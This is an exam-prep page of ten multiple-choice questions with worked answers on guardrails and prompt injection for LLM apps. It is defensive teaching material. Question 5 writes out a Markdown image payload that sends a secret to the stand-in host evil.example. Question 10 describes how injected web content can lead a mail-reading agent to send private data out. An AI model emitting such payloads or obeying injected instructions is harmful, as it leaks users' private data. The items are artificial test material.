Guardrails & Prompt Injection Questions with Answers

21 practice questions on Guardrails & Prompt Injection (AI Engineering (LLM Apps)) with answers and step-by-step solutions. Try 10 samples below, then practise all 21 free in the AptiNest app.

Sample questions

Question 1Easy

Model-generated Python is executed for data analysis. Where should it run?

  1. On the developer's laptop with admin rights, where debugging is easiest
  2. In an isolated sandbox with no secrets and limited network
  3. Inside the database server's main process
  4. Directly on the production web server

Answer: B. In an isolated sandbox with no secrets and limited network

Explanation

Sandboxing contains bugs and malicious code from injected instructions.

Step-by-step solution

  1. Model-generated Python needs security to prevent harm.
  2. Sandboxing stops harmful code from affecting systems.
  3. Isolated sandbox limits network and secrets for safety.
  4. This reduces risk of bugs or attacks spreading.
  5. Final answer: In an isolated sandbox with no secrets and limited network.

Why the other options are wrong

  • A. Admin rights on a laptop add risk; the code should run isolated, not with admin access.
  • C. Running model code in the database server's main process risks the data and the server itself.
  • D. Running generated code on the production web server risks every user and every secret there.

Tip: Use sandbox for untrusted code to avoid security risks.

Question 2Easy

Why do public LLM endpoints need per-user rate limits and max token caps?

  1. To keep embeddings normalised
  2. To raise the model's answer accuracy
  3. To stop abuse from running up cost (denial of wallet)
  4. To make streaming output smoother

Answer: C. To stop abuse from running up cost (denial of wallet)

Explanation

Unbounded usage turns into unbounded spend; quotas cap both abuse and accidental loops.

Step-by-step solution

  1. Public endpoints can be abused.
  2. Each token costs money.
  3. Limits stop denial of wallet.

Why the other options are wrong

  • A. Normalisation is unrelated.
  • B. No accuracy effect.
  • D. Not about streaming.

Question 3Easy

Why should links generated by an LLM be checked before being shown as clickable?

  1. Links always make the answer much longer
  2. Browsers block every link that an AI writes
  3. Links use more tokens than ordinary words
  4. They may be made up or point to unsafe sites

Answer: D. They may be made up or point to unsafe sites

Explanation

Models can invent plausible URLs; validating against known domains avoids broken or malicious links.

Step-by-step solution

  1. LLMs can create fake or incorrect links.
  2. These links might lead to harmful websites.
  3. Checking links ensures they are safe and real.
  4. They may be made up or point to unsafe sites.

Why the other options are wrong

  • A. Links do not always make an answer longer; the reason to check them is that they can be wrong or unsafe.
  • B. Browsers do not block every AI link; the risk is that the link may be fake or unsafe.
  • C. Links cost tokens like other text, but token cost is not why they must be checked.

Question 4Easy

Why should a system prompt never contain secrets such as API keys?

  1. System prompts are billed at a higher token rate than user messages are
  2. Keys make the model's answers less accurate
  3. Users can often coax the model into revealing its prompt
  4. The model will refuse to answer with keys present

Answer: C. Users can often coax the model into revealing its prompt

Explanation

Treat the system prompt as potentially visible; keep credentials in server-side code.

Step-by-step solution

  1. Users can coax prompts out.
  2. Prompt injection can leak system prompt.
  3. Secrets must stay server-side.

Why the other options are wrong

  • A. Billing is not the reason.
  • B. Accuracy is unaffected.
  • D. Model won't refuse.

Question 5Medium

An assistant renders Markdown. A poisoned document makes it output ![x](https://evil.example/?d=SECRET). What is the attack?

  1. Data exfiltration via an auto-loaded image URL
  2. Cross-site request forgery via cookies
  3. Denial of service via a very large image
  4. SQL injection via the image's alt text

Answer: A. Data exfiltration via an auto-loaded image URL

Explanation

When the client fetches the image, the secret in the URL is sent to the attacker; restrict or proxy external images.

Step-by-step solution

  1. Markdown image URLs are fetched automatically.
  2. The URL carries secret data in its query.
  3. The attacker's server receives it.

Why the other options are wrong

  • B. No cookies are involved.
  • C. Not DoS.
  • D. Not SQL.

Question 6Medium

"Spotlighting" untrusted text (marking or encoding it so the model knows it is data) aims to:

  1. Speed up retrieval from the vector database
  2. Guarantee that prompt injection can never succeed against the application
  3. Lower the chance the model follows instructions inside it
  4. Shrink the number of tokens in the prompt

Answer: C. Lower the chance the model follows instructions inside it

Explanation

It reduces, but does not eliminate, injection risk, so it is paired with privilege limits.

Step-by-step solution

  1. Spotlighting marks untrusted text to signal the model it is data, not instruction.
  2. Marked text is less likely to be followed as actual instructions by the model.
  3. This reduces but does not eliminate the risk of prompt injection attacks.
  4. The goal is to lower the chance the model obeys harmful or malicious input.
  5. Therefore, spotlighting aims to reduce instruction-following in untrusted data.
  6. Final answer: Lower the chance the model follows instructions inside it.

Why the other options are wrong

  • A. Spotlighting is about how the model reads untrusted text, not about speeding up vector search.
  • B. Spotlighting reduces the risk but cannot guarantee that prompt injection never succeeds.
  • D. Spotlighting marks or encodes text and may add tokens; it does not shrink the prompt.

Tip: Use spotlighting to reduce injection risks, but pair it with privilege limits for better security.

Question 7Medium

A "canary token" placed in the system prompt is used to:

  1. Detect prompt leakage when the token shows up in outputs
  2. Speed up prefix caching for the system prompt
  3. Count tokens more accurately for billing
  4. Encrypt the system prompt while it is transmitted to the model provider

Answer: A. Detect prompt leakage when the token shows up in outputs

Explanation

If the unique string appears in a response or elsewhere, the prompt has leaked.

Step-by-step solution

  1. Canary token is a unique string added to prompts.
  2. If the token shows up in outputs, it means the prompt was used.
  3. This helps detect if the prompt was leaked externally.
  4. Leakage detection is the main purpose of canary tokens.
  5. Final answer: A (Detect prompt leakage when the token shows up in outputs).

Why the other options are wrong

  • B. Canary tokens do not speed up caching; the token is a unique string used to detect leaks.
  • C. Canary tokens do not count tokens for billing; they are used to detect leaks in outputs.
  • D. A canary token is not encryption; it is a marker string used to spot leaked prompt text.

Tip: Check for canary token presence in outputs to detect prompt leaks.

Question 8Medium

An LLM converts user questions into SQL that runs on the production database. Which safeguard matters most?

  1. A read-only, least-privilege database user plus query limits
  2. A larger context window for the model
  3. A friendlier tone in the system prompt
  4. Running the generated SQL twice and comparing the two outputs for safety

Answer: A. A read-only, least-privilege database user plus query limits

Explanation

Generated SQL can be wrong or malicious; restricting the account limits damage regardless of what is generated.

Step-by-step solution

  1. Database user with read-only access prevents data changes.
  2. Least-privilege reduces attack surface.
  3. Query limits stop resource abuse.
  4. These safeguards work even if SQL is wrong.
  5. Final answer: A read-only, least-privilege database user plus query limits.

Why the other options are wrong

  • B. A larger context window does not stop bad SQL from running; it only lets the model see more text.
  • C. A friendlier tone is not a security control; it does not limit what the generated SQL can do.
  • D. Running SQL twice and comparing does not stop harmful queries; it does not limit permissions.

Tip: Use minimal permissions and limits to protect data.

Question 9Hard

A regex redacts 12-digit numbers, but users type them as "1234 5678 9012". What does this show about rule-based PII filters?

  1. They only work on text written in uppercase
  2. They remove too little data to be useful ever
  3. They miss format variants, so combine them with tests or ML detectors
  4. They are always perfect once deployed, so failures must come from the model

Answer: C. They miss format variants, so combine them with tests or ML detectors

Explanation

Pattern filters are brittle; test them against variants and combine with entity detection.

Step-by-step solution

  1. Regex matches only specific formats, not all variations.
  2. Users type numbers in different formats like "1234 5678 9012".
  3. This shows regex misses format variants.
  4. To fix this, combine with tests or ML detectors.
  5. Final answer: They miss format variants, so combine them with tests or ML detectors.

Why the other options are wrong

  • A. A digit pattern does not depend on uppercase; the miss is caused by the spaces between digit groups.
  • B. Regex filters do remove matching data; here they miss the spaced variant, so they are useful but incomplete.
  • D. Rule-based filters are never perfect; this miss shows the regex failed on a format variant.

Tip: Use regex + tests/ML for better PII detection.

Question 10Hard

An agent can

1. read a user's private mailbox,
2. read arbitrary web pages and
3. send emails.

Why is this combination especially dangerous?

  1. Three separate tools always exceed the context window of any model
  2. Email tools are forbidden in agent frameworks
  3. Injected web content can make it send private data out
  4. Reading web pages requires a separate model

Answer: C. Injected web content can make it send private data out

Explanation

Private data + untrusted content + an outbound channel lets an injection exfiltrate data; removing any one leg breaks the attack.

Step-by-step solution

  1. The agent can read a user's private mailbox.
  2. It also reads arbitrary web pages, which may hide instructions.
  3. It can send emails out, which gives the attack an outbound channel.
  4. Injected web text can make it send private data out, so option C is correct.

Why the other options are wrong

  • A. The number of tools does not exceed a context window in this way; the risk is the data flow.
  • B. Email tools are not forbidden in agent frameworks.
  • D. A single model can read web pages; a separate model is not required for that.

Tip: Private data plus untrusted input plus an outbound channel is a leak risk; cut one leg.

Practise all 21 questions free

The full question bank with timed practice, progress tracking and Vidya, your AI tutor. Free, no ads.

Open this topic in the app →

Related topics

See all AI Engineering (LLM Apps) topics · All topics